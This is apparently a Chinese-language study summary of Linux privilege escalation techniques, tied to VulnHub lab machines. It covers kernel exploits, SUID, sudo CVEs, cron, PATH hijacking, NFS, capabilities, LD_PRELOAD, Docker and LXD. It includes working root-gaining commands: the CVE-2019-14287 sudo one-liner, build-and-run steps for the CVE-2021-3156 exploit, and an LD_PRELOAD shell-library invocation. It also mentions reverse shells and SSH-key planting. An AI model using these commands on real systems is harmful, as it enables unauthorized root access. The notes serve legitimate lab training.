Linux提权小结
前言
终于完整的把23的提权课程看完了 ,晚上也没什么事情 也不想学 来把之前学的整理整理
一些基本指令
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
cat /etc/passwd 列出系统上的所有用户
uname -a 打印所有可用的系统信息
hostname 系统主机名
ps aux 显示所有用户的进程同时显示用户名(包含未连接到终端的进程
cat /etc/cron* 查看定时任务
SUID: find / -perm -u=s -type f 2>/dev/null
GUID: find / -perm -g=s -type f 2>/dev/null
在known_hosts文件可以看到曾经连接过的所有主机公钥列表
目标主机可能存在备份文件或其他网站服务的配置文件(.conf,.config,.xml,backup*,.bak等)和一些shell脚本或bash历史命令
一些工具项目
二进制文件提权查询:
Linux:https://gtfobins.github.io/
Windows:https://lolbas-project.github.io/
信息收集 https://gthub.com/rebootuser/LinEnum https://github.com/carlospolop/PEASS-ng
内核漏洞
内核提权有风险,可能会导致目标主机崩溃
可以直接从web ->root
内核漏洞利用方法
- uname -a 获取关于目标系统的内核信息
- 通过
exploit-db或searchsplopit等 搜相关的exp - 通过
python3 -m http.server或wget等服务将exp脚本传送至目标主机 - 运行漏洞利用poc脚本(需要了解漏洞利用代码的工作原理,避免因为漏洞poc执行等原因对目标系统造成特殊的影响,或漏洞代码需要进行某些交互功能)
脏牛
影响版本:Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
漏洞原理:在Linux内核的内存子系统处理私有只读内存映射的写时复制(COW)损坏的方式中发现了一种竞争状况。一个没有特权的本地用户可以使用此漏洞来获取对只读存储器映射的写访问权,从而增加他们在系统上的特权。
exp :https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c
https://github.com/dirtycow/dirtycow.github.io
其他内核还有很多。。。。
参考靶机
https://www.vulnhub.com/entry/lampiao-1,249/
https://www.vulnhub.com/entry/darkhole-1,724/
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
SUID
webshell 普通用户 ----> root
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
漏洞成因:
chmod u+s给予了suid u-s删除suid
使程序在运行中受到了suid root权限的执行过程导致
利用:
去找对应的利用代码
https://gtfobins.github.io/
https://pentestlab.blog/?s=suid
参考靶机
https://www.vulnhub.com/entry/toppo-1,245/
https://www.vulnhub.com/entry/dc-1,292/
https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453
SUDO
本地用户权限 -> root
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers 除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)
cat /etc/sudoers 看看哪些被赋予sudo 但是这个命令本身也需要root权限才。。(要看对方怎么设置的 )
sudo -l 命令用于列出当前用户在系统上可以执行的命令,以及对这些命令的授权情况
sudo -V 命令用于显示 sudo 命令的版本和配置信息
CVE-2019-14287
https://blog.csdn.net/chest_/article/details/102716802
sudo -l
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
sudo (CVE-2021-3156)
版本
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
判断
sudoedit -s / 报错即存在
利用:
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 1 # uname -a 看 自己的内核
CVE-2023-22809 sudo提权漏洞
https://mp.weixin.qq.com/s/uiAEnK5tqkKh0bqWPoTIKg
参考靶机
https://www.vulnhub.com/entry/devguru-1,620/
https://www.vulnhub.com/entry/toppo-1,245/
CRON
web 普通用户权限 --->root
一般有两种情况
- 查看定时任务 然后可以去修改定时任务里面的东西 (权限给的有问题
- 修改不了定时任务里面的东西(定时任务执行文件的内容) 就找定时任务执行文件有没有打包的操作 添加东西让他打包 然后就可以利用了 (很少
https://www.vulnhub.com/entry/jarbas-1,232/ 属于第一种
PATH
普通用户 ---> root
条件:
ROOT用户对某个第三方程序给予了SUID权限
find / -user root -perm -4000 -print 2>/dev/null 看看哪个像是第三方程序
实战中的发现挖掘这类的安全问题 :
1.先获取suid所有程序
2.去除系统自带的一些命令(筛选第三方或者编译等的程序
- 下载这个程序 进行反编译或者找源代码 看运行结果 干了什么 (里面有没有可以利用的)
4.思考程序有没有执行一些环境变量命令 (ps ping su sudo curl 等 )
5.尝试通过复制suid提权的命令 (find bash 复制替换原有的执行命令(先添加环境变量
操作
参考之前的笔记 和靶机笔记 就是看看这个第三方程序运行执行了什么系统执行 再去添加环境变量
靶机
https://www.vulnhub.com/entry/symfonos-1,322/
NFS
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。 文件的权限也互通的
提升条件:NFS服务开启和web或用户权限进行利用
nfs 传一个具有suid权限的文件 且可以弹shell的到kali的nfs目录 然后再去执行 注意gcc编译机器与目标机内核版本相似
结合着vunlhub靶机 (https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/
Capability能力
Web 普通用户 ---->root
跟suid差不多 就是这种root给用户的权限的时候给的细一些
原理参考:https://www.cnblogs.com/f-carey/p/16026088.html
去这里面找利用方法 https://gtfobins.github.io
Hackerkid靶机https://www.jianshu.com/p/60673ac0454f
LD_Preload加载
普通用户 -->root
参考:https://www.cnblogs.com/backlion/p/10503985.html
条件
- 赋予一个用户一些sudo权限 如: maomao ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
- Defaults env_keep += LD_PRELOAD 添加以下内容作为默认配置来设置LD_preload的环境 这一步是关键

操作
将后门c文件编译 成 .so .dll 再上传
sudo LD_PRELOAD=/tmp/shell.so find 这样去直接得到root
Docker
普通用户--->root
分为两种情况
第一种=>你得到的shell是在docker里面 ,你先要把他逃逸出来 逃逸出来就可能成为第二种
第二种=>你得到的shell是在本机 而且用户在docker组里面 你先拉镜像 挂载真机的目录 你只可以读写那些本机root权限才可以读写的文件 (这个时候得到的权限并不是真机的root) 你这个时候去nc弹shell 得到的是docker 的root权限 又回到了docker当中 **你要真正的得到本机的root权限 修改定时任务 爆破shadow (因为docker挂载真机的目录 你可以读写) 写ssh密钥到宿主机 CVE漏洞直接利用 **
条件
用户属于docker组
靶机
详细笔记里有 就是
https://www.vulnhub.com/entry/infovore-1,496/
https://mp.weixin.qq.com/s/7RWgYGyiK-CEN508eB8BEg
Rbash绕过
参考:https://xz.aliyun.com/t/7642
Rbash(The Restricted mode of bash),也就是限制型bash (很多命令都无法去执行 )
在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作
LXD
普通用户--->root
原理:
LXD(Linux容器守护程序)是基于LXC容器的管理程序,当前用户可操作容器,理解为用户创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
条件:
-已经获得Shell
-用户属于lxd组
跟docker很像 挂载目录 得到可以访问root目录的权限
https://www.vulnhub.com/entry/funbox-rookie,520/
https://blog.csdn.net/elephantxiang/article/details/123974142
总结
就写了个大概 具体的笔记里面写的很详细吧?
我的是迪宝课上说滴 呜呜呜想学java了 但是还是得把眼前的东西搞完把 可能搞java 又搞得不想搞呜呜呜
也可以看看https://xz.aliyun.com/t/11664
